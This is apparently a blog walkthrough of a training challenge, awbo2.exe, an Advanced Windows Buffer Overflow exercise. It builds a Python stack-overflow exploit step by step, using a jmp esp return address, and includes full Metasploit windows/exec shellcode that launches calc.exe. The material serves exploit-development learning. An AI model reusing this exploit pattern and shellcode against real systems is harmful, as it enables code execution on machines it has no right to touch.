Journey into Exploitation: awbo2.exe

In this series of blog posts, I will be documenting my journey into the art of exploitation.  My goal for this series is to experiment with some of the challenges that are out there and hopefully provide some guidance for others in my shoes.  I am targeting those of you with moderate amount experience in exploitation.  Hopefully, I will further my own knowledge and yours (the reader).
What you’ll need:
  1. Immunity Debugger
  2. Pvefindaddr plugin
  3. Windows 2000 SP4 Virtual Machine

In this first post we’re going to look at awbo2.exe.  The Advanced Windows Buffer Overflows were written by Lurene Grenier, formerly of Sourcefire’s VRT.
To quote:
At Defcon XIV, Immunity trotted out the first iteration of their NOP cert test, and I had the pleasure of giving it a test run. I still think it’s a great indicator of ability, despite the Immunity tools focus; I’m not a user of any of their tools generally, but I managed to pull off the hardest level test in a modest time. It got us thinking on the way home, where does one go from the bar set by the NOP to get to the next level in terms of exploit development skill? In this vein I’ve thrown together a few windows executables, and in a nod to Gera of Core, they’re called Advanced Windows Buffer Overflows (AWBOs).
To follow along, you can download the binary, as well as the other challenges, from the following URL:
Before we get started, there are a few rules we need to follow:
  1. All exploits are performed in Windows 2000 SP4 unless otherwise specified. Sometimes, otherwise will be specified.
  2. Exploits will use the provided shellcode, or ret2lib.
  3. You may not return to hard coded stack addresses.
  4. No source code will be provided – just like the NOP cert (one of the most hardcore exploit certs IMO).

You can find the shellcode below:
01# windows/exec - 121 bytes
02# http://www.metasploit.com # EXITFUNC=seh, CMD=calc.exe
03"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
04"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
05"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
06"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
07"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
08"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
09"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
10"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
11"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
Before any engagement like this, the first step is to study the target. As per rule #1, we will be working on Windows 2000 SP4. Run the binary and examine what happens:
The first thing you should notice is that there is an INT3 instruction right at the beginning of the application followed by:
10040100C   CC                   INT3
20040100D   8D85 FCFBFFFF        LEA EAX,DWORD PTR SS:[EBP-404]
300401013   8945 FC              MOV DWORD PTR SS:[EBP-4],EAX]
400401016   8D8D FCFBFFFF        LEA ECX,DWORD PTR SS:[EBP-404]
These three instructions are setting up the stack to take in 1028 bytes of input. Go ahead and hit play a couple times to start the application, then send it some junk data.
It looks like we have enough information to go ahead and exploit the application. Lets start things off by writing a simple template (in python) to crash the application. Use Metasploits pattern_create to create a pattern of 1036 bytes in size, this will be for our junk data:
1# exploit.py
2junk = (“metasploit pattern here”)
3
4try:
5print junk
6
7except:
8print "\n[-] Something went wrong...\n"
After you’ve saved your exploit. Pipe the data over to awbo2.exe:
So far so good, we’ve crashed the application. But, we didn’t overwrite EIP. Currently, EAX and ECX contain our junk data and we have an access violation at 0×69423169. This access violation is because this isn’t a real address in memory. Instead it is part of our pattern. Using pattern_offset we can find out exactly where to put a real address:
Now restart the application and continue to step through until the call to kernel32 is made. The reason for this is because we need a real address to pass over the first access violation and hopefully lead to the overwrite of EIP. Grab any address here and edit our python script.
01# exploit.py
02junk = "\x41" * 1024
03
04addr = "\xda\x48\xe8\x77" # addr from kernel32
05
06junk2 = "\x42" * 1000
07
08try:
09print junk + addr
10
11except:
12print "\n[-] Something went wrong...\n"
Now rerun the python script:
Great! Now that we own EIP, things should be downhill from here. ESP currently points to our junk2 data (“\x42”) and if you look a little closer at the stack. We own nSEH and SEH as well:
Now, we can do one of two things. We can exploit this via an SEH overwrite, or we can keep things simple and just place our shellcode at ESP and jump too it. For now, we’re going to place our shellcode at ESP and jump too it. Open a new instance of Immunity Debugger and search for our jmp esp instruction (make sure to open awbo2.exe and play it before you search):
Now edit our python script with one of the addresses in the j.txt file:
01# exploit.py
02junk = "\x41" * 1024
03
04addr = "\xda\x48\xe8\x77" # addr from kernel32
05
06junk2 = "\x42" * 4
07
08EIP = "\x8b\x94\xf8\x77" # jmp esp => ntdll.dll
09
10shellcode = "\xcc" * 1000
11
12try:
13print junk + addr + junk2 + EIP + shellcode
14
15except:
16print "\n[-] Something went wrong...\n"
Run the script, but this time before you step over the break at the beginning. Set a breakpoint at our jmp esp instruction at 0x77f8948b, then hit play:
When you step over this instruction, you should land in our sled of int3 instructions:
Almost there! Edit our script to take our shellcode from before.
01# exploit.py
02junk = "\x41" * 1024
03
04addr = "\xda\x48\xe8\x77" # addr from kernel32
05
06junk2 = "\x42" * 4
07
08EIP = "\x8b\x94\xf8\x77" # jmp esp => ntdll.dll
09
10# windows/exec - 121 bytes
12# EXITFUNC=seh, CMD=calc.exe
13shellcode = ("\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01"
14"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01"
15"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2"
16"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
17"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89"
18"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b"
19"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a"
20"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7"
21"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00")
22
23try:
24print junk + addr + junk2 + EIP + shellcode
25
26except:
27print "\n[-] Something went wrong...\n"
Run the script, if everything was successful, calc.exe should spawn!
Success! We’ll save SEH for another walkthrough for now.
Coming next is awbo3.exe
Shouts to:
Corelan Team for making some awesome tutorials
Pusscat for making some pretty fun challenges
MC for always answering my questions
J0e for everything he’s done for me


Category Article

6 Responses to “c0decstuff”

What's on Your Mind...

Thank f' u C0mment